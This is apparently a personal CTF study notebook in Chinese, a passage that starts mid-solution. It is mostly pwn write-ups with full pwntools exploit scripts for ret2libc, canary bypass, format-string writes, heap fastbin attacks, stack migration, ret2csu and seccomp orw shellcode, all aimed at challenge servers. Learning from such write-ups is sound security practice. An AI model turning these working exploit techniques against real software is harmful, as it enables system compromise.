s.add(l[6]-l[30]-l[20]-l[27]-l[14]-l[39]+l[41]-l[33]-l[0]+l[25]-l[32]-l[3]+l[26]-l[12]+l[8]-l[35]-l[24]+l[15]+l[9]-l[4]+l[13]+l[36]+l[34]+l[1]-l[28]-l[21]+l[18]+l[23]+l[29]-l[10]-l[38]+l[22]+l[37]+l[5]+l[19]+l[7]+l[16]-l[31]==81)

if s.check() == sat:
result = s.model()
for i in range(42):
print(chr(int("%s"%result[l[i]])), end='')

[网鼎杯 2020 青龙组]jocker

脑洞题+smc自解密——idc初体验。

1
2
3
4
5
6
7
8
#include <idc.idc>
static main() {
auto i, x;
for ( i = 0; i <= 0xBA; i++ ) {
x = Byte(0x401500 + i);
PatchByte(0x401500 + i, x ^ 0x41);
}
}

按c可以从二进制数据生成代码,按p可以从代码块构造函数。

pwn

ctfshow-pwn-3: pwn03——ret2libc3

可以使用 https://libc.blukat.me/ 查询libc库的各函数地址,再根据偏移计算其他函数的实际地址。

也可以使用LibcSearcher自动化完成这一过程。

exp(without LibcSearcher):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
#io = process("./stack1")
io = remote('pwn.challenge.ctf.show', 28199)

elf = ELF("./stack1")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
payload1 = flat(b"A" * (9 + 4), puts_plt, main_addr, puts_got) # 泄露puts_got
io.recvuntil("\n\n")
io.sendline(payload1)
puts_addr = unpack(io.recv(4))
print(hex(puts_addr))
# 0xf7d6d360 查一下 https://libc.blukat.me/

puts_libc = 0x067360
system_libc = 0x03cd10
str_bin_sh_libc = 0x17b8cf

base = puts_addr - puts_libc
system = base + system_libc
bin_sh = base + str_bin_sh_libc

payload2 = flat('a' * 13, system, 1, bin_sh )
io.sendline(payload2)
io.interactive()

exp (with LibcSearcher, tested)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
from LibcSearcher import*
elf=ELF('./pwn03')
#io=process('./pwn03')
io=remote('111.231.70.44',28021)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
payload1=b'a'*13+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload1)
io.recvuntil('\n\n')
puts_add=u32(io.recv(4))
print(puts_add)

libc=LibcSearcher('puts',puts_add)
libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*13+p32(sys_add)+b'a'*4+p32(bin_sh)
io.sendline(payload2)
io.interactive()

pwn1_sctf_2016

c++乱入系列,那个replace()直接没看懂。

而且自己的输入长度超过31就会被截断,完全无法栈溢出。

后来看了题解才知道replace()是把你输入的I全部替换成you

再结合vuln()最后使用了危险的strcpy()函数,我一下子就知道怎么做了。

因为输入点与retn的偏移是60,因此只需要输入20个I,再加上后门地址即可。

看来以后碰到奇怪的字符串得输进去试试,说不定会有新发现。

ctfshow-pwn-4: pwn04——buffer overlow with canary

带canary的栈溢出,可以读入2次并输出buf串。

通过IDA调试可知,canary的位置紧邻buf串且在它下游,因此不能直接覆盖到返回地址。

但是canary的最高位始终是0,我们便有了如下办法:

第一次读入时只将缓冲区填满,最后的换行符覆盖canary的高位,在第二次输入时减去这个换行符对应的ascii即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
context.log_level = 'debug'
#elf=ELF('./stack1')
io=process('./ex2')
#io=remote('pwn.challenge.ctf.show', 28140)

payload1=b'I'*100
io.recvuntil('\n')
io.sendline(payload1)
fst_str = io.recvuntil('\x68') #canary之后一个固定的字节
#print(hex(u32(fst_str[-5:-1])))

canary = u32(fst_str[-5:-1])
payload2=b'I'*100+p32(canary-0xa)+b'bbbbccccdddd'+p32(0x804859b) #'0xa'是换行符的ascii
io.sendline(payload2)

io.interactive()

原来这叫格式化字符串漏洞啊

ctfshow-pwn-6: pwn06——64bit buffer overflow

64位栈溢出与32位的一个不同点是必须保证堆栈平衡,因此需要return两次。

但是在本地,我return一次就成功了。至今不知道原因

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
#context.log_level = 'debug'

#elf=ELF('./stack1')
#io=process('./pwn')
io=remote('pwn.challenge.ctf.show', 28122)

payload1=b'I'*12+b'AAAAAAAA'+p64(0x4005b6)+p64(0x400577)
io.sendline(payload1)

io.interactive()

ctfshow-pwn-7: pwn07——64bit ret2libc3

64位的pwn3.

由于64位的传参方式为“前6个是寄存器,之后使用栈”,退栈的时候要取出寄存器的值。因此需要找到pop_rdipop_ret的值,并插入到payload中。

pop_rdipop_ret指令地址的命令:

1
ROPgadget --binary pwn --only 'pop|ret' 

然后payload格式是这样的:

1
2
3
4
5
6
# for 32 bit
b'a'*offset + p32(puts_plt) + p32(ret_addr) + p32(puts_got)
b'a'*offset + p32(sys_addr) + b'A'*4 + p32(str_bin_sh)
# for 64 bit
b'a'*offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr)
b'a'*offset + """p64(pop_ret)""" + p64(pop_rdi) + p64(str_bin_sh) + p64(sys_addr)

exp (with LibcSearcher, tested)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# ctf.show - libc6_2.27
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf=ELF('./pwn')
#io=process('./pwn')
io=remote('pwn.challenge.ctf.show',28184)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']

pop_rdi = 0x4006e3
pop_ret = 0x4004c6

payload1=b'a'*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload1)
io.recvline()
str_first = io.recv(6).ljust(8,b'\x00')
puts_add=u64(str_first)
print(hex(puts_add))

libc=LibcSearcher('puts',puts_add)

libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

payload2=b'a'*20+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_add)
io.sendline(payload2)
io.interactive()

然而神奇的是这个代码本地又不行了

ciscn_2019_c_1

带加密的pwn07.(经过测试发现,其实不对输入做处理也可以getshell)

获取got表地址的exp:

1
2
3
4
5
6
7
8
9
io.recvuntil('!\n')
io.sendline(b'1')
io.recvuntil('\n')
payload1=b'l'*88+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload1)
io.recvline()
io.recvline()

str_first = io.recv(6).ljust(8,b'\x00')

也就是这个位置:

为什么pop_rdi的地址还在那个位置,而且长度还变短了?

xctf-pwn-(beginner)-4: string

格式化字符串。逐渐变得不是那么面向萌新了

对于格式不规范的printf函数,有以下利用方式:

技能一:使用printf函数查看堆栈中的数据:

1234-%p-%p-%p-%p-%p-...-%p

如果输出以上这一段,所有的%p都会替换成一个地址。

然而我并不知道这些地址跟IDA调试时看到的地址有什么关系

技能二:修改对应位置的数据:

例如%85d%7$n就是把第7个%p对应的地址的修改为85

问题的核心就是如何能够修改secret数组的值。把secret[0]改为85或者把secret[1]改为68。

明显的利用点是那个问address和wish的那两个scanf,还有那个非规范的printf。

如果按照之前的栈溢出的思路肯定不行,因为有canary。

题解的思路是将secret[0]的地址写到第一个scanf里,然后printf('1234-%p-%p-%p-%p-%p-...-%p'),发现之前写的地址在第7个%p里。于是重新运行,便有了printf('%85d%7$n').

然后是输入spell的部分,mmap是一个内存映射函数,内容可执行,直接上一句话shell。

1
io.sendline(asm(shellcraft.sh()))

另解

通过ida调试后发现main函数中的secret地址,与非规范的printf离得并不远,不超过100h。

如果你有足够耐心,会发现输入25个%p后对应的恰好就是secret的地址,而且这个值跟之前的7一样,不会变动。所以之前那个输入地址的scanf是完全不需要的。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# ctf.show + buuoj - libc6_2.27
from pwn import*
from LibcSearcher import*
context.arch = 'amd64'
context.log_level = 'debug'

#io = process('./3')
#io = remote('111.200.241.244',64533)

io.recv()
io.sendline('1')
io.recv()
io.sendline('east')
io.recv()
io.sendline('1')
io.recv()
#asking address
io.sendline('1')
io.recvline()
io.sendline('%85d%25$n')
io.recv()
io.sendline(asm(shellcraft.sh()))

io.interactive()

第五空间决赛pwn5——fmtstr

pwntools工具:fmtstr用于格式化字符串漏洞。

fmtstr_payload(offset,{address1:value1})

如何计算偏移,例如:

1
2
3
your name:AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p 
Hello,AAAA-0xffffd0d8-0x63-(nil)-0xf7ffdb30-0x3-0xf7fc3420-0x1-(nil)-0x1-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025
// so the offset is 10

使用工具的exp(tested):

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#io = process('./pwn')
io = remote('node4.buuoj.cn',27411)
context.log_level = 'debug'
#gdb.attach()

rand_addr = 0x804c044
payload = fmtstr_payload(10, {rand_addr:123456})
io.recv()
io.sendline(payload)
io.recv()
io.sendline('123456')
io.interactive()

不使用工具的exp(然而我并不理解其中的含义):

updated on 2,25

$n代表已经先前成功输出的字节数,在这儿是四个int,也就是0x10.

而之前我们算出到输入的偏移是10,因此就从%10开始,把0x804c044~0x804c047的地址全部复制为0x10.

因此我们最后输入10101010即可满足条件。

1
2
3
4
5
6
7
8
9
10
from pwn import*

io=remote('node4.buuoj.cn',27411)

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+=b'%10$n%11$n%12$n%13$n'

io.sendline(payload)
io.sendline(str(0x10101010))
io.interactive()

xctf-pwn-(beginner)-7: cgpwn2——ret2libc with system

带system,不带'/bin/sh'的ret2libc,关键部分如下:

1
2
3
payload = b'a'*42 + p32(gets_plt) + p32(pop_ebx) + p32(buf2) + p32(system_plt) + p32(0xdeadbeef) + p32(buf2)
io.sendline(payload)
io.sendline('cat flag')

原理有空再补。

xctf-pwn-(beginner)-8: level3——re2libc3 without puts

依旧是ret2libc,只不过没有puts函数,泄露libc地址的payload需要变化一下:

1
payload = flat([b'A' * 140, write_plt, main, 1, write_got, 4]) # the last three are arguments of "write"

很不幸,这次Libcsearcher的匹配结果都没有用,但是题目下发了一个libc_32.so.6,我们需要利用这个文件本地导入libc库。

1
2
3
4
5
libc=ELF('./libc_32.so.6') #import

libcbase = libc_start_main_addr - libc.symbols['write']
system_addr = libcbase + libc.symbols['system'] #leak
binsh_addr = libcbase + 'bin_sh_addr' # we can't use 'symbols' to get address, we do it manually.

那么'bin/sh'怎么办呢,使用这个bash:

1
strings -a -t x libc_32.so.6 | grep "bin/sh" 

如何在本地打通libc——3/18/2022

1
2
ls -l /lib/x86_64-linux-gnu/libc.so.6 # find your local libc, it's "libc-2.27.so" in wsl ubuntu 18.04.
# make sure to change your "import" and your "strings & grep" commands.

获得成就:xctf-pwn新手区完结撒花!

ctfshow-pwn-10: dota

前两个问题很简单,-2147483648相反数为本身这个是我才从csapp学到的。

然后是格式化字符串,fmtstr_payload报错,说只能在32bit范围内运行,没办法只能手动构造。

经过手动输出栈地址可知偏移为8.

当时我没经验,一直把想修改数据的地址放在%25d%9$n或者%25c%9$n(为什么这两个都可以?)的前面。最后看了别人的wp才知道只能放在后面,跟printf函数一样。

然后是64位的ret2libc3,然而我并不知道别人的wp是怎么找到pop_rdi的地址的。

完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from LibcSearcher import *
io = process('./dota.dota')
#io = remote('pwn.challenge.ctf.show', 28085)
context.log_level = 'debug'
elf=ELF('./dota.dota')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']

io.sendline('dota')
io.sendline('-2147483648')
io.recvuntil('小提问:dota1中英雄最高等级为多少?')
io.recv(3)
addr_str = io.recv(14)
addr_str = addr_str[:-1]
rand_addr = int(addr_str,16)

payload = b'%25c%9$n' + p64(rand_addr) # alternative '%25d%9$n'

io.sendline(payload)

pop_rdi = 0x4009b3 #???????
pop_ret = 0x40053e

payload1=b'a'*136+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

io.recvuntil('\x0a')
io.sendline(payload1)

str_first = io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')
puts_add=u64(str_first)
print(hex(puts_add))

libc=LibcSearcher('puts',puts_add)

libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

payload2=b'a'*136+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_add)
io.sendline(payload2)
io.interactive()

fmtstr ret2libc

给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>

void main() {
char str[1024];
while(1) {
memset(str, '\0', 1024);
read(0, str, 1024);
printf(str);
fflush(stdout);
}
}
//gcc -m32 -fno-stack-protector 9.2_fmtdemo4.c -o fmtdemo -g

shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
io = process('./fmtdemo')
#io = remote('node4.buuoj.cn',27411)
context.log_level = 'debug'
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('fmtdemo')
#gdb.attach()

printf_got = elf.got['printf'] # 0x80fc010
libc_printf = libc.symbols['printf']
libc_system = libc.symbols['system']

io.sendline(p32(printf_got) + b'%4$s') # *plt = got, *got = real_addr
printf_addr = u32(io.recv()[4:8])
libc_base = printf_addr - printf_got
log.success("libc_base:"+hex(libc_base))

print(hex(printf_addr))
payload = fmtstr_payload(4, {printf_got:printf_addr-libc_printf+libc_system})

io.sendline(payload)

io.interactive()

get_started_3dsctf_2016——rop1

32bit。

程序给了一个读取flag的后门,但需要你传入正确的两个参数。

学会了gdb调试,回忆起来了return addr和函数参数之前隔了一个返回地址。函数参数是正序书写的。

程序在exit时会刷新缓冲区地址,从而可以用recv()得到文件输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
from LibcSearcher import*

#io = process(argv = ['./get_started_3dsctf_2016'])
io = remote('node4.buuoj.cn', 27428)

backdoor = 0x80489a0
exit_addr = 0x804e6a0
arg1 = 0x308CD64F
arg2 = 0x195719D1
#gdb.attach(io, 'b *0x8048a3d')
context.log_level = 'debug'

payload1 = b'a'*56 + p32(backdoor) + p32(exit_addr) +p32(arg1) + p32(arg2)

io.sendline(payload1)

print(io.recv())

#io.interactive()

not_the_same_3dsctf_2016——rop2

这里有个函数,已经将flag的值读取并输入到了fl4g的位置,所以我们先用这个函数填充到返回地址处,把flag先读取到fl4g为起始地址的内存中,接下来试着把这里的内容泄露出来,即可获取flag。所以我们需要write函数,并且因为write函数有三个参数,所以还需要pop三个寄存器的指令进行清理栈,最后的p32(0)是pop中含着的ret操作,所以还需要再加一个返回地址,因为我们已经输出了flag,所以返回地址并不需要在意是哪,随便都可。具体exp如下
————————————————
版权声明:本文为CSDN博主「ShouCheng3」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_51232724/article/details/124057645

不太懂这个rop的操作。其实那个pop3换成其他地址好像也没有影响。

现在懂了,因为这是32位,后面三个相当于参数,不需要寄存器pop。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
#io = process('123')
io = remote('node4.buuoj.cn', 27043)
elf = ELF('123')
context.log_level = 'debug'

flag_addr = 0x80eca2d
get_flag = 0x80489a0
pop3 = 0x80483b8
write_addr = elf.symbols['write']
#print(hex(write_addr))

payload = b'a'*(45) + p32(get_flag)+p32(write_addr)+p32(pop3)+p32(1)+p32(flag_addr)+p32(42)
#gdb.attach(io, 'break *0x8048a00')
io.sendline(payload)
#io.recv()
print(io.recv())
io.interactive()

cicsn_2019_ne_5——sh

sh/bin/sh都可以打开shell。

1
ROPgadget --binary pwn --string 'sh' 

payload结构:

1
b'a'*(0x48+4) + p32(sys_addr) + p32(main_addr) + p32(bin_sh)

[HarekazeCTF2019]baby_rop2——rop3

1
2
3
4
5
6
7
#rop
#printf("your input is %s!", buf);
payload1 = b'a'*(0x20+8) + p64(pop_rdi) + p64(fmt_addr) #1st argument of printf -> rdi
payload1 += p64(pop_rsi_r15) + p64(read_got) + p64(0) #2nd argument of printf -> rsi
payload1 += p64(printf_plt) + p64(main_addr) #call printf_plt to output the got of read()

payload2 = b'a'*(0x20+8) + p64(pop_rdi) + p64(bin_sh)+ p64(sys_addr)

这里第二行使用read_got而不使用printf_got的原因是printf不支持末尾零截断。

babyheap_0ctf_2017——fastbin attack

ubuntu18/libc2.26及以上版本本地无法打通,无法gdb调试,堆栈图就不贴了。

原因:libc2.26引入了tcache机制。

解决方案:使用patchelf或者io = process([ld_path, elf_path], env={'LD_PRELOAD':libc_path})

fastbin attack

vuln: fill in arbitrary size

type: double free

one_gadget使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

def alloc(size):
io.sendlineafter('Command: ',str(1))
io.sendlineafter('Size: ',str(size))

def fill(index, size, content):
io.sendlineafter('Command: ',str(2))
io.sendlineafter('Index: ',str(index))
io.sendlineafter('Size: ',str(size))
io.sendafter('Content: ',content.ljust(size,b'\x00'))

def free(index):
io.sendlineafter('Command: ',str(3))
io.sendlineafter('Index: ',str(index))

def dump(index):
io.sendlineafter('Command: ',str(4))
io.sendlineafter('Index: ',str(index))
io.recvuntil('Content: \n')

def exploit():
alloc(0x20)
alloc(0x40)
alloc(0x100) # create 2 fastbin and 1 smallbin

fill(0, 0x20 + 0x10, b'a'*0x20 + p64(0) + p64(0x71)) # modify chunk1's size
fill(2, 0x10 + 0x10, b'b'*0x10 + p64(0) + p64(0x71)) # create a fake chunk2

free(1) # free chunk2's header (0x10 bytes) 1st time
alloc(0x60)
fill(1, 0x40 + 0x10, b'c'*0x40 + p64(0) + p64(0x111)) # restore chunk2's header

alloc(0x20) # create another fastbin to avoid combination of chunk1, chunk2
free(2) # free chunk2's header (0x10 bytes) 2st time, LOCATION OF (ARENA+88) LEAKS
dump(1)
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))


def fastbin(libc_base, fake_chunk):
free(1)
fill(0, 0x40, b'd'*0x20 + p64(0) + p64(0x70) + p64(fake_chunk) + p64(0)) # modify chunk1's fd pointer

alloc(0x60) # create chunk1
alloc(0x60) # create chunk2 (fake one)

fill(2, 0x1b, b'a'*3 + p64(0)*2 + p64(libc_base+0x4526a)) # modify chunk2, __malloc_hook -> one_gadget
alloc(0x100) # TRIGGER, CALL ONE_GADGET


if __name__ == "__main__":
#io = process('./babyheap_0ctf_2017')
io = remote('node4.buuoj.cn', 26685)
context.log_level = 'debug'
elf = ELF('./babyheap_0ctf_2017')
#gdb.attach(io, 'b *main+148')

libc_88 = exploit()

libc_base = libc_88 - 0x58 - 0x3c4b20
# 0x3c4b20 -> relative location of main_arena in libc
log.success('libc_base==>'+str(hex(libc_base)))
libc = ELF('./scuctf_newbee_2021_pwn/buu/libc/libc-2.23-x64.so')
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fake_chunk = malloc_hook - 0x23 # ???
log.success('fake_chunk==>'+str(hex(fake_chunk)))

fastbin(libc_base, fake_chunk)

io.interactive()

ciscn_2019_es_2——stack migration1

适用于payload长度较短的情况,将rop写在栈中,通过修改ebp的值劫持程序执行流到构造的rop附近,从而执行自己的rop。

此题read长度限制为sizeof(buf)+8,故不能直接使用之前的retlibc3

缓冲区变量与上层函数的ebp通过动调得到:

如图所示,0xffffcdd8 - 0xffffcda0 = 0x38,就是篡改的栈帧ebp到输入的偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

def hijackebp():
payload1 = b'a'*0x27 + b'b'
io.sendafter('Welcome, my friend. What\'s your name?\n', payload1) # !!! send, not sendline !!!
io.recvuntil('b')
ebp = u32(io.recv(4)) # the value of ebp ([ebp])
s = ebp - 0x38 # the offset between [ebp] and your input argument (get this by debugging)
return s

def exploit(s):
payload2 = (p32(0) + p32(sys_plt) + p32(vul) + p32(s + 0x10) + b'/bin/sh').ljust(0x28, b'\0')
# fake ret_addr, true ret_addr
payload2 += p32(s) + p32(leave)
# input_addr, leave_ret_rop
io.sendline(payload2)

if __name__ == "__main__":
#io = process('./ciscn_2019_es_2')
io = remote('node4.buuoj.cn', 25446)
context.log_level = 'debug'
elf = ELF('./ciscn_2019_es_2')

sys_plt = elf.sym['system']
leave = 0x080484b8
vul = 0x8048595

input_addr = hijackebp()
exploit(input_addr)

io.interactive()

ciscn_2019_s_3——ret2csu

本题的要点是执行execve('/bin/sh',0,0)这个函数,调用这个函数需要有syscall指令,并且需要满足rax = 0x3b, rdi = <bin_sh_addr>, rsi = rdx = 0这几个条件。

可以从ROPgadget中得到pop rdipop rsi这几个gadget从而成功传参,mov rax,3bh也可以从gadgets函数附近得到。但是并没有任何直接的退栈指令涉及到rdx寄存器,而且程序中没有/bin/sh字符串,需要自行插入且找到它在栈中的地址。

通过在IDA中寻找rdx字符串,可以找到唯一可能改变rdx值的指令在__libc_csu_init中,以下是其反汇编代码:

__libc_csu_init source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
.text:0000000000400540                                   ; void _libc_csu_init(void)
.text:0000000000400540 public __libc_csu_init
.text:0000000000400540 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400540 ; __unwind {
.text:0000000000400540 000 41 57 push r15
.text:0000000000400542 008 41 56 push r14
.text:0000000000400544 010 41 89 FF mov r15d, edi
.text:0000000000400547 010 41 55 push r13
.text:0000000000400549 018 41 54 push r12
.text:000000000040054B 020 4C 8D 25 BE 08 20 00 lea r12, __frame_dummy_init_array_entry
.text:0000000000400552 020 55 push rbp
.text:0000000000400553 028 48 8D 2D BE 08 20 00 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040055A 028 53 push rbx
.text:000000000040055B 030 49 89 F6 mov r14, rsi
.text:000000000040055E 030 49 89 D5 mov r13, rdx
.text:0000000000400561 030 4C 29 E5 sub rbp, r12
.text:0000000000400564 030 48 83 EC 08 sub rsp, 8
.text:0000000000400568 038 48 C1 FD 03 sar rbp, 3
.text:000000000040056C 038 E8 1F FE FF FF call _init_proc
.text:000000000040056C
.text:0000000000400571 038 48 85 ED test rbp, rbp
.text:0000000000400574 038 74 20 jz short loc_400596
.text:0000000000400574
.text:0000000000400576 038 31 DB xor ebx, ebx
.text:0000000000400578 038 0F 1F 84 00 00 00 00 00 nop dword ptr [rax+rax+00000000h]
.text:0000000000400578
.text:0000000000400580
.text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 038 4C 89 EA mov rdx, r13
.text:0000000000400583 038 4C 89 F6 mov rsi, r14
.text:0000000000400586 038 44 89 FF mov edi, r15d
.text:0000000000400589 038 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400589
.text:000000000040058D 038 48 83 C3 01 add rbx, 1
.text:0000000000400591 038 48 39 EB cmp rbx, rbp
.text:0000000000400594 038 75 EA jnz short loc_400580
.text:0000000000400594
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 038 48 83 C4 08 add rsp, 8
.text:000000000040059A 030 5B pop rbx
.text:000000000040059B 028 5D pop rbp
.text:000000000040059C 020 41 5C pop r12
.text:000000000040059E 018 41 5D pop r13
.text:00000000004005A0 010 41 5E pop r14
.text:00000000004005A2 008 41 5F pop r15
.text:00000000004005A4 000 C3 retn
.text:00000000004005A4 ; } // starts at 400540
.text:00000000004005A4
.text:00000000004005A4 __libc_csu_init endp

我们的目标是mov rdx, r13这个指令,因为r13在退栈序列当中,因此可以插入pop_6这个gadget,然后跟上6个地址。其中r13, r14就必须置0,以对应接下来到chg_rdx的跳转。

接着是call [r12+rbx*8]的问题,理论上说,这个指令可以实现任意地址的跳转,这里我选择直接跳到下一个指令(其实可以完全跳到下一个gadget),因此可以设[r12] = 0x40058d, rbx = 0

如何得到r12的值呢?可以肯定它跟输入地址存在固定的偏移。可以通过编写一个gadget指向其本身的payload来额外打印当前栈的信息。我将/bin/sh字符串设在了输入的位置,输入位置与input_addr+0x20处值的偏移可以通过动调得到(在远程做的时候这个偏移与本地可能不同,但相差不大,慢慢试就行)。

为了避免0x400594处的循环,应当设置rbx + 1 == rbp,这里我选择令rbp = 1,然后再随便传6个地址出栈。

由于mov edi, r15d会将rdi的高位置零,故需要再次设置一个pop_rdi的payload。最后调用syscall即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
eax_59 = 0x4004e2 # rax = 0x3b
get_sys = 0x400517
pop_rdi = 0x4005a3
vuln = 0x4004ed
pop_6 = 0x40059a
chg_rdx = 0x400580
'''
rax = 59
execve('/bin/sh',0,0); rdi,rsi,rdx

offset = 0x128
'''
def exploit():
payload0 = b'a'*16 + p64(vuln)
io.send(payload0)
input_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x118 # in local it's 0x128
log.success('input_addr==>'+hex(input_addr))

payload1 = b'/bin/sh\0' + p64(0x40058d) + p64(eax_59)
#payload1 += p64(pop_r15) + p64(pop_r15) + p64(get_sys)
#mov rdi=inputaddr, rsi=0, rdx=0
payload1 += p64(pop_6) + p64(0) + p64(1) + p64(input_addr+8) + p64(0) + p64(0) + p64(0)
payload1 += p64(chg_rdx) + p64(0)*6
payload1 += p64(pop_rdi) + p64(input_addr)
payload1 += p64(get_sys)

io.send(payload1)

jarvisoj_level3——find /bin/sh using pyscript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def exploit():
#libc = ELF('./libc/libc-2.30.so')
libc = ELF('./libc/libc-2.23.so')

elf = ELF('./level3')
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
vuln = elf.sym['vulnerable_function']

io.recvuntil('Input:\n')
payload1 = b'a'*140 + p32(write_plt) + p32(vuln) + p32(1) + p32(read_got) + p32(4)
io.send(payload1)

read_addr = u32(io.recv(4))
libc_base = read_addr - libc.sym['read']
log.success('libc_base'+hex(libc_base))
bin_sh = libc_base + next(libc.search(b'/bin/sh')) # libc.search('/bin/sh').next() is out of date
sys = libc_base + libc.sym['system']

payload2 = b'a'*140 + p32(sys) + p32(vuln) + p32(bin_sh)
io.send(payload2)

ez_pz_hackover_2016——cyclic find offset

因为有时ida的分析也是错的。

cyclic 50生成长度为50的字符串序列。

gdb-peda动调时segmentation fault,可以通过截取ebp对应的字符串来确定输入位置到ebp的偏移。

cyclic -l 'xxxx'得到结果加4或者8就是应该填充的大小。

[Black Watch 入群题]PWN 1——stack migration2

这年头入群都那么难了

栈迁移需要将你的rop写到一个固定的段中(比如bss段),然后通过修改ebp的值达到栈转移的目的。适用于缓冲区溢出长度较短的情况。

1
2
3
4
payload1 = p32(write_plt) + p32(vuln) + p32(1) + p32(write_got) + p32(4)
# rop of write_got leak written to bss segment
payload2 = b'a'*(24) + p32(bss-4) + p32(leave_ret)
# stack overflow in vuln function, aware that leave command makes ebp increase 4 bytes

pwnable_orw——prctl

orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag.

seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
————————————————
版权声明:本文为CSDN博主「半岛铁盒@」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_45556441/article/details/117852436

1
2
prctl(38, 1, 0, 0, 0); // elevation is forbidden
prctl(22, 2, &v1); // only open() read() write() is allowed

exp:

1
2
3
4
5
6
7
8
9
10
# https://blog.csdn.net/weixin_45556441/article/details/117852436
from pwn import *
context.arch = 'i386'
p = remote('node3.buuoj.cn',28626)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
payload = asm(shellcode)
p.send(payload)
p.interactive()

or with asm code:

1
2
3
4
5
6
7
8
9
10
11
12
13
# https://blog.csdn.net/weixin_45556441/article/details/117852436
from pwn import *
from LibcSearcher import *

context(os = "linux", arch = "i386", log_level= "debug")
p = remote("node3.buuoj.cn", 27008)

shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
